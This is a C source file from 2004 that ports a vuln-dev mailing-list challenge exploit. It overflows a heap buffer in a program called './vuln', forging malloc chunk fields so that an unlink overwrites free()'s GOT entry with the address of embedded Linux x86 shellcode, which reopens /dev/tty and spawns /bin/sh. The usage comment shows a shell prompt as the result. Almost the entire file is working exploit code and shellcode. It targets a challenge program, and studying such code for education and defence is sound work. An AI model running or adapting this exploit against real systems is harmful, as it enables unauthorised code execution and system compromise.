/*
 * $Id$
 *
 * vuln-ex2.c - vuln-dev challenge by <fuzzy () bonbon net>
 * Copyright (c) 2004 Marco Ivaldi <raptor () 0xdeadbeef info>
 *
 * Yet another C porting of the sh/perl exploit posted by <fuzzy () bonbon net>
 * on the vuln-dev list (see http://www.securityfocus.com/archive/82/375056).
 *
 * This time i've used the popen() function to output the evil buffer.
 *
 * Buffer structure:
 * [sc] [padding] [0x00000000] [0x00000108] [FREE - 12] [RET]
 *
 * Usage:
 * $ uname -a
 * Linux dns 2.2.26-ow1 #1 Tue Mar 2 10:22:13 CET 2004 i686 unknown
 * $ gcc --version
 * 2.95.3
 * $ gcc vuln-ex2.c -o vuln-ex2 -Wall
 * $ ./vuln-ex2
 * Using free() address    : 0x80495b8
 * Using buf1 address      : 0x8049680
 * buf1: 0x8049680
 * buf2: 0x8049788
 * sh-2.05$ 
 */ 

#include <stdio.h>
#include <unistd.h>

#define	VULN		"./vuln"	// the vulnerable program
#define BUFSIZE		256 + 16 + 1	// size of the evil buffer
#define FREE		0x080495b8	// free() address in .got
#define	RET		0x08049680	// buf1 address in heap

char sc[] = /* linux/x86 shellcode */
"\xeb\x0bWHO_CARES??"
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main()
{
	char	buf[BUFSIZE], *p = buf;
	FILE	*vuln;

	/* copy the special shellcode */
	memcpy(p, sc, strlen(sc));
	p += strlen(sc);
	
	/* padding */
	memset(p, 'A', 256 - strlen(sc));
	p += 256 - strlen(sc);

	/* prev_size field */
	memset(p, 0, 4);
	p += 4;

	/* size field */
	*((void **)p) = (void *)(256 + 8);
	p += 4;

	/* fd field */
	*((void **)p) = (void *)(FREE - 12);
	p += 4;

	/* bk field */
	*((void **)p) = (void *)(RET);
	p += 4;

	/* newline */
	*p = 0x0a;

	/* print some output */
	fprintf(stderr, "Using free() address\t: %p\n", (void *)FREE);
	fprintf(stderr, "Using buf1 address\t: %p\n", (void *)RET);

	/* run the vulnerable program */
	vuln = popen(VULN, "w");
	fwrite(buf, sizeof(buf), 1, vuln);
	pclose(vuln);

	exit(0);
}
